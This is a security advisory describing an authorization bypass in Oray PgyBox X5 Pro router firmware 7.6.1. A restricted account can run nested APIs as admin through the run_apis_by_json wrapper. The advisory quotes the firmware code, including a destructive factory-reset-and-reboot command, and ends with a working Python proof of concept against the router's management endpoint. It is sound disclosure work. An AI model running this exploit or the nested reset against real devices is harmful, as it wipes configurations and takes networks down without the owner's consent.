Information

Introduction

Oray PgyBox X5 Pro Router firmware 7.6.1 authorizes a restricted management account against the outer run_apis_by_json request but does not apply that account's API allowlist to the API named inside its JSON payload. The wrapper passes the nested request to oraybox_api, which invokes it as admin. An account allowed only run_apis_by_json can consequently reach the parameterless reset API, whose command clears the configuration and reboots the router.

Vulnerability Details

The HTTP dispatcher in /www/cgi-bin/oraybox checks the requested API name against the authenticated non-admin user's allowlist. In allowlist mode, has_user_privilege_by_list() returns true only when that name is listed. Thus a user whose list contains run_apis_by_json passes the outer check even when the JSON body names another API:

-- Selected lines from /www/cgi-bin/oraybox and oraybox/privilege.lua
if user ~= "admin" and not m.i_do_not_need_password and
   not oraybox.privilege.has_user_privilege_by_list(
       privilege_mode, privilege_list, api_name()) then
  error_output(oraybox.errorcode.permission_denied)
  return
end
local output = m.index(args, user)

privilege_mode_white = 0
if tonumber(privilege_mode) == privilege_mode_white then
  if privilege_list then
    for _, v in ipairs(privilege_list) do
      if v == api_name then return true end
    end
  end
  return false
end

The 7.6.1 device test used net_watchdog_get to confirm this authorization boundary. A direct request from an account allowed only run_apis_by_json returned code: 101. The same API named inside the wrapper returned its full result with code: 0. The wrapper also passes _api=reset to the reset handler shown below.

The decoded /usr/lib/lua/oraybox/api/run_apis_by_json.lua passes args.auth to run_apis, but that function does not use it. A separate check_auth function is defined in the module and is not called by this route. After decoding and sorting the array, the wrapper sends each object to run_api, which builds a command-line invocation from its fields without checking the nested _api against the caller's privileges:

-- Selected lines from api/run_apis_by_json.lua
local function run_api(api)
  local cmd = "oraybox_api "
  local params = {}
  for key, value in pairs(api) do
    key = string.gsub(key, "'", "'\\''")
    value = string.gsub(value, "'", "'\\''")
    cmd = cmd .. "%s=%s"
    params[#params + 1] = key
    params[#params + 1] = value
  end
  return secure_exec.exec(cmd, unpack(params))
end

local function run_apis(apis)
  table.sort(apis, function(a, b) return a.idx < b.idx end)
  for i = 1, #apis do
    apis[i].result = run_api(apis[i])
  end
  return oraybox.errorcode.success, apis
end

function index(args)
  local code, apis = run_apis(luci.json.decode(args.apis), args.auth)
  return {code = code, apis = apis}
end

A one-element array such as [{"_api":"reset"}] needs no idx for sorting. The firmware's secure_exec.so splits the fixed command template before substituting the two %s values, giving oraybox_api the argument _api=reset. The JSON filter checks the nested _api string for prohibited characters, which the literal reset does not contain.

/usr/sbin/oraybox_api parses that argument, loads oraybox.api.reset, and invokes index(args, "admin") without the HTTP caller's allowlist. The reset module needs no additional fields:

-- Selected lines from /usr/sbin/oraybox_api
local pos = str:find("=")
local key = str:sub(1, pos - 1)
local value = str:sub(pos + 1)
args[key] = value
local full_api_name = "oraybox.api." .. args._api
require(full_api_name)
local m = require(full_api_name)
local output = m.index(args, "admin")

-- /usr/lib/lua/oraybox/api/reset.lua
function index(args)
  local ret_code = oraybox.errorcode.success
  if secure_exec.call(
      "ubus send sys_reset && /sbin/oraybox_sn -f >/dev/null && firstboot -y && sleep 3 && reboot &") ~= 0 then
    ret_code = oraybox.errorcode.unknown
  end
  return {code = ret_code}
end

In the original firmware filesystem, /sbin/oraybox_sn is a symlink to /sbin/oray_utils. The ARM64 oraybox_sn -f branch updates its synchronization flag and returns success, allowing the && sequence to reach firstboot -y and reboot. The physical reset-button script /etc/rc.button/reset uses the same oraybox_sn -f and firstboot -y steps.

PoC

Set the router address and its current management password, then run this Python 3 block. It creates an account whose allowlist contains only the JSON wrapper and reproduces the recorded authorization test: direct net_watchdog_get returns code: 101, while the nested call returns a wrapper code: 0 and the API result.

export HOST=10.168.1.1
export ADMIN_PASSWORD='your-management-password'
export LIMITED_PASSWORD='Limited123'

python3 <<'PY'
import json
import os
import urllib.parse
import urllib.request

endpoint = f"http://{os.environ['HOST']}/cgi-bin/oraybox"
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))

def post(api, **fields):
    body = urllib.parse.urlencode({'_api': api, **fields}).encode()
    request = urllib.request.Request(endpoint, data=body, method='POST')
    with opener.open(request, timeout=15) as response:
        return json.load(response)

created = post('privilege_set', _pwd=os.environ['ADMIN_PASSWORD'],
               optype='1', user_name='batchproof',
               user_pwd=os.environ['LIMITED_PASSWORD'], privilege_mode='0',
               privilege_list='run_apis_by_json')
assert created['code'] == 0, created

identity = {'_user': 'batchproof', '_pwd': os.environ['LIMITED_PASSWORD']}
direct = post('net_watchdog_get', **identity)
wrapped = post('run_apis_by_json', **identity,
               apis=json.dumps([{'_api': 'net_watchdog_get'}],
                               separators=(',', ':')))
print('direct:', direct)
print('wrapped:', wrapped)
assert direct['code'] == 101 and wrapped['code'] == 0
PY